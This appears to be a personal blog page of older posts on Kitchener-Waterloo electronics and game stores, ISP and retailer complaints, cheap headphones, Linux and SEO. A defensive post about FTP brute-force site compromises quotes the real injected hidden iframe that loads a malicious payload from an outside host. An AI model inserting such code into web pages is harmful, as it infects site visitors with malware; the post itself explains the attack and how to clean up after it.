Stores in the KW area that geeks might enjoy

December 19, 2010 by Marko · 2 Comments 

So after living in the Kitchener / Waterloo area of Ontario for over 10 years now there are a number of stores that I frequent for those geeky items not always found in your normal retail chains. I’ve listed the main ones below with a very brief description. If you know of others that I should check out please leave information in the comments.

Canada Computers – 230 Weber Street North, Waterloo
http://canadacomputers.com/

Easily the best computer store in the area. They sell quality products (as well as cheap junk) with very good prices. I’ve been building systems from here for a long time and never had an issue. Their service might not always be the best and on the weekends they seem understaffed but if you know what you are getting this place can’t be beat.

J & J Superstore – 230 Weber Street North, Waterloo
http://www.jjcards.com/

The place to go for all your boardgame needs! I can’t think of a better store in the province that has as large of an in-stock collection of boardgames (my source for Heroscape expansions). They also have a lot of comic books, figurines, collectibles, lego and trading cards. Another bonus, it’s right beside Canada Computers.

Kind Of Magic – 46 King Street North, Waterloo
http://kwmagic.com/

Fun little magic shop with all kinds of magicians props and trick gadgets.

K-W Surplus – 666 Victoria Street North, Kitchener
http://www.kwsurplus.com/

A glorified dollar store with a lot of army stuff as well. Good for cheap cabling. They have a real tank out in front of their store and an evil street address.

XS Cargo – 1373 Victoria Street North, Kitchener
http://www.shopxscargo.com/

Liquidation store with ever-changing inventory of items ranging from electronics to small household appliances. Be wary of buying any big ticket items from here because they are usually defective in some minor way or of ultimate inferior quality.

Factory Direct – 1138 Victoria Street North, Kitchener
http://www.factorydirect.ca/

Similar to XS Cargo but with focus on electronic gadgets and computer parts.

Princess Auto – 2 Executive Place, Kitchener
http://www.princessauto.com/

A very manly store full of heavy equipment for major repair, construction, etc… but there are also sections for miscellaneous electronics for computer and car.

Cambridge Surplus – 336 Eagle Street North, Cambridge
http://www.cambridgesurplus.ca/

Same as K-W Surplus but located in Cambridge… and I think I prefer this store as they have seem to have a better electronics section.

Sayal Electronics – 1040 Fountain Street, Cambridge
http://sayal.com/

Great for hard-to-find electronic components, adapters and cabling of all sorts. Good prices as well.

The Old Forum Cheap Thrills – 1001 Langs Drive, Cambridge
http://www.theoldforum.com/

Lots of unique geeky gift items and little puzzle type toys at low prices.

Brute Force FTP Password Hacking On The Rise

September 15, 2009 by Marko · Leave a Comment 

I know of at least six websites that I provide support for that have had malicious code embedded into their web pages in the last few months.  The common entry point for the hackers in all of these cases has been FTP login.  Each site had simple username/password combinations and hence were fairly easy to get into.   It seems that the hackers are using an  automated script to insert their code as I’ve found that every single file with the filename containing the words “index” or “default” gets modified, regardless of the extension (whether .htm, .html, .php, .asp, etc…) and whether it’s a file that is actually even linked to or not.

Commonly, an invisible iframe like the following gets inserted after the <body> tag or then at the very end of the file.

<iframe src=”http://3e0.ru:8080/index.php” width=160 height=188 style=”visibility: hidden”></iframe>

The file on the remote site then delivers the real payload.  Sometimes javascript code is inserted instead of an iframe.  Again, the javascript code loads an external javascript file which contains the real payload.

If your clients haven’t made recent backups you will need to either manually remove the offending code snippets or then create a script to do it for you (if many files are affected).   If you leave the code in place or don’t remove it quickly enough, the site will end up getting on Googles black list.  Browsers like Firefox will then not show the site and instead put up a big red warning page.  IE will continue to show the hacked pages and is probably the target of the malicious code in the first place.  If your site does get black listed you will need to go request a re-scan from Google.

The easiest way to avoid this hack is just to make sure all your (and your clients) passwords are not overly simple.  The password “password” is not a good choice while  “fuMrHack8″ is.

Mono “Hi-fi” Wireless Headphones

September 14, 2009 by Marko · Leave a Comment 

This past weekend I was searching for wireless headphones to replace the ones I use at work that are worn out.  I remember getting my current ones from some grocery store for about $25  (about 5 years ago?) and was hoping to find something similar.  Would like them small, lightweight and comfortable enough for wearing hours at a time during work.   I checked a cheap local store, XSCARGO, and was surprised to find some for only $10.  The box said had “Hi-Fi”, “Super Bass” and even included an FM radio reciever built-in.  Good deal, I thought… until I got them home and tested them.  Even though the 3.5mm cabling that came with it had the obvious 3 sections, meaning that it’s stereo, the headphones themselves ended up only being mono.  Same for the FM radio.  I had another look at the packaging and sure enough the word “Stereo” does NOT appear anywhere on it.  And I guess they can still call them “Hi-Fi” because that is a hazy term anyway.  I went to 2 other cheap stores, Factory Direct and KW Surplus, and found different no-name chinese-manufactured wireless headphones in the $10 range that indicated “Hi-Fi” but not “Stereo”.  So, I have come to the conclusion that the makers of bulk crap electronics have realized that most people (at least the ones in the market for cheap headphones) can’t tell the difference between what stereo and mono sounds like when played in both ears.  The cheapest ones I have found to date that are both wireless and stereo (I think) are at Walmart for $30 but they are huge.  Canadian Tire and The Source (RadioShack) has them starting at $80.  BestBuys cheapest pair was $120.  Ebay is full of the cheap mono headphones and no real deals to be found on proper ones.  I will keep looking.

Microsoft Hit List

September 13, 2009 by Marko · Leave a Comment 

Microsoft’s latest checklist
Date: 2007-06-14 (transfered from old blog)

I’ve been using Linux on my main desktop computer for many years now and find the recent deals Microsoft is making with major Linux distributions to be very troubling. I use ArchLinux, which is surely not even on Microsoft’s radar, but still, anything that happens to the more popular Linux distros can hurt us all.

Microsoft’s checklist…

[x] SuSE (failing, easy target)

[x] Xandros (failing, easy target)

[x] Linspire/Freespire (failing, easy target)

[ ] Mandriva (failing, easy target)

[ ] Redhat/Fedora (they have money, might be a hard one to crack, concentrate on patent lawsuits)

[ ] Ubuntu/Kubuntu/Xubuntu (they have community, might be a hard one to crack, concentrate on patent lawsuits)

[ ] Slackware (who cares, only hardcore nerds use this, ignore for now)

[ ] Gentoo (who cares, only hardcore nerds use this, ignore for now)

[ ] Debian (they have militant community, might be impossible to crack, ignore for now)

For more information, check out these Slashdot articles…

Linspire Signs Patent Pact With MS

Microsoft Gives Xandros Users Patent Protection

Novell Goes Public with Microsoft Linux Deal

Easy Money

September 13, 2009 by Marko · Leave a Comment 

Easy Money
Date: 2006-05-01 (transfered from old blog)

The elusive money tree If you’ve spent any considerable amount of time on the Internet, you’ve probably tried making money on it. I basically make all my income from working on the Internet, specifically by programming the back-ends to client websites. As you may or may not know, most of my type of work is being outsourced to India and other low-wage countries, usually leaving people such as myself having to work more for less. This is were the lure of “easy money” comes in as I have been researching internet marketing and search engine optimatizaion techniques. These are hardly new concepts anymore and I may be a bit late to the game but I think I’ll be giving it a go. I understand that there is no such thing as “easy money” but for someone such as myself who lives on the Internet and knows all the related technologies, the work should not be very hard and perhaps a bit enjoyable. The work basically entails driving web traffic to sites that contain affiliate ads or pay-per-click ads. I have a number of websites I’ve created in the past just for fun but have never really tried to promote or monetize them. I will initially be concentrating on Desktop Linux At Home, Southern Ontario Day Trips and Cropping News. I am also going to be partnering with someone else trying to do some environmental affiliate sales sites.

Easy Money… one year later
Date: 2007-05-01 (transfered from old blog)

My experimentation with SEO ran out of steam about 4 months into it… but I did still manage to triple the income from the 3 sites I was concentrating on. The problem is that that is not saying much, as the sites were initially making very little to begin with. My advice, unless you are in a current hot niche market with your websites and are ready to commit a lot of effort into your SEO, don’t quit your day job.

If you are interested in trying out SEO and ad marketing, I would recommend reading the forums daily at DigitalPoint.com.

Rogers Sucks!

September 13, 2009 by Marko · Leave a Comment 

Why I think Rogers sucks
Date: 2005-12-09 (transfered from old blog)

I have been a subscriber to Rogers High Speed Internet service since 1998, having toughed it out through a lot of good and bad times with them. But in the last year service has really gotten bad. Internet access cuts in and out frequently… and it’s not just my computer, network card or router as I always have a glance at the cable modem sitting on a desk beside me and see that the CABLE LED light has gone out. Besides this, I use software called Bittorrent quite often. It is useful for downloading large files, specifically media and Linux distributions. For a fast Internet connection, bittorrent has always been noticable slow. I never really questioned it much and accepted it. About a month ago, my bittorrents stopped working altogether. I could not get it to even make initial contact with a tracker (if you use bittorrent, you’ll know what this means). So I call up Rogers support and ask if they are blocking bittorrent traffic. The guy says “Umm, no, our bittorrents are running fine here”, meaning the guy at least knew what I was talking about as he uses the software himself seemingly. Anyway, I started researching this on the Internet and found that Rogers does in fact throttle bittorrent packets on their network. And possibly is doing rolling black-outs of bittorrent traffic on certain IP blocks, which is probably what I was experiencing. Then last week I hear that they are discontinuing Usenet service. While I’m not a heavy Usenet user, I was alarmed at all the services that they are slowly eliminating. So, I started my quest for looking into some other broadband Internet provider and ended up switching to a small local ISP (sentex.ca) who has been in business for a long time and I’ve heard good things about them from friends. Yay, everything works again! And it’s fast! And cheaper than Rogers!

Now let me tell you how my Rogers cancellation call proceeded….

Rogers Agent: “I see you’ve been a customer for a long time, may I ask why you are leaving us?”
Me: “Well, my bittorrent software doesn’t work very well with your service… among other problems.”
RA: “I don’t know anything about this bittorrent, do you mind if I go ask someone and get back to you in a minute?”
Me: “Umm, OK. (waits on hold for 5 minutes)”
RA: “Ok, they’ve explained the situation to me. Yes, we do throttle bittorrent traffic because it slows down the Internet for everyone else.”
Me: “But you advertise 60G bandwidth up/down per month”
RA: “Yes, and I see that you don’t even use half of that amount”
Me: “I know, and you’re saying I shouldn’t even be using what I am using?”
RA: “No, you can use it, it’s just that this bittorrent slows down the connections for everyone”
Me: “So, you are saying we can have 60G up/down as long as it’s only email and web traffic?”
RA: “No, you can use whatever you like”
Me: “But I can’t, since you throttle bittorrent… I mean really Rogers doesn’t want users like me. Rogers wants people that will only ever use email and surf the web.”
RA: “Well, bittorrent slows down everybody elses connection, so it isn’t fair to the other users.”
Me: “Well maybe Rogers should lower their bandwidth caps to not give the false impression that you might actually be able to use that amount!”
RA: “But you can use it”

on and on it went…

Anyway, long story short, Rogers wants only users who will stick to email and web. Basically, users that have zero chance of using more than about 1% of their perceived 60G bandwidth limit. I guess if people using Rogers started somehow automating their browser to continually hit random sites all day, they would have to start throttling and possibly blocking web traffic too!
Oh well, if they don’t want me or other power users, that’s fine. Bye-bye Rogers!

Tigerdirect Sucks!

September 13, 2009 by Marko · Leave a Comment 

Why I think Tigerdirect sucks
Date: 2005-10-30 (transfered from old blog)

On September 11, 2005, I made an online purchase of a refurbished laptop from tigerdirect.ca. After not getting a UPS tracking number for the order, I called them asking for it. They claimed they did not get a tracking number for this item and they told me to wait 10 days and if the laptop had not arrived to then call them back. So after 10 days go by I give them another call. Hmmm, they say it’s been lost and UPS doesn’t know where it is. They offer to ship another one out to me. I ask if it will be the exact same one… “yes” they say.

Here is the product description line from my printed invoice…

HP Compaq EVO N610c / Pentium 4-M 1.8GHz / 14.1 inch / 256MB / 30GB / CD-RW / WiFi / Windows XP Pro Notebook PC Refurbished

Notice the “WiFi” in the description. Also, the specifications listed “Integrated WiFi” as one of the features.

When the laptop finally arrives, it is the correct model and works fine… except that it has no WiFi, not integrated or otherwise. So, I go back to check my printed receipt and yup, it is indicated there. I write them an email asking about the missing WiFi and if they will send me a free WiFi card or something. I get no reply. I then go check their website again and notice that the EXACT SAME ITEM no longer has any indication of having WiFi! So, they basically used false advertising and then switched the item description afterward. Well, I wasn’t about to send the laptop back because of this one minor thing, as I had waited for it long enough already.

Then I noticed that they also shipped me something called eTrust PestPatrol Anti-Spyware. Thinking this was a freebie, I ignored it at first. Later, I checked the packing slip which had some small print as follows:

CA eTrust PestPatrol Anti-Spyware ’05 Free 30Day – REMINDER THIS IS A 30 DAY TRIAL AFTER THE TRIAL YOUR CREDIT CARD WILL BE CHARGED $29.99

Naturely, I was concerned that I might be charged for something which I DID NOT ORDER and DID NOT KNOW I WOULD BE GETTING. I called them up and told them I do not want this product. They said, “Ok, just ship it back to us.” I asked if they would pay for the packaging and shipping to send it back and they said no. What?! I couldn’t believe what I was hearing! Now, shipping it back would not have been that big of a deal or that expensive, it’s just that I was put off by their deception. I told them I would not ship it back and I would cancel any charges they put on my credit card. They then forwarded my call to someones voicemail. I left a message. I wrote them 3 separate emails explaining things. I left them another voicemail. No reply. I waited and waited, called them again, and was forwarded to someones voicemail once again. No reply.

Luckily, my credit card number happened to change before the 30 day trial was up, so they couldn’t bill me if they tried. I did get a notice from them in the mail saying they couldn’t ship my order until I gave them a valid credit card number. Ha, seeing as I haven’t ordered anything more from them, I can only assume this was for the Anti-Spyware software sitting unopened on my shelf.

Whatever. They are not getting any credit card information from me and I am never buying anything from them again.

The Beach

September 13, 2009 by Marko · Leave a Comment 

The Beach
Date: 2005-07-31 (tranfered from old blog)

Went to a (relatively) nearby beach today with the family in a little town called Grand Bend. The place was completely packed with people. It took almost longer to find parking than it did to drive there. This place really needs to expand their parking lots. On the walk back to the car, we stopped at a mexican eatery called “Jalapeno’s” and I had their super hot burrito called the “Afterburner”. It was spicy hot, but not completely unbearable. I had my suspicions why it was called afterburner… and yup, I was right. We’ll have to come back to this area some day when it probably won’t be as busy.

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